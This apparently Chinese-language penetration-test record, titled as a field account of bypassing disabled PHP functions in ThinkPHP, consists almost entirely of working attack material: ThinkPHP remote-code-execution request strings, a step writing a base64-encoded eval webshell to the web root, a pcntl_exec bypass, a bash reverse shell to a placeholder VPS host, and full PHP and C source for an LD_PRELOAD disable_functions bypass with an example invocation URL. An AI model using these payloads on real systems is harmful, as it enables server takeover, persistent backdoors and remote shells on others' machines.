一次项目中Thinkphp绕过禁用函数的实战记录

s=whoami&_method=__construct&method=&filter[]=system

s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

bash -i >& /dev/tcp/vpsip/7777 0>&1

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
?>

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so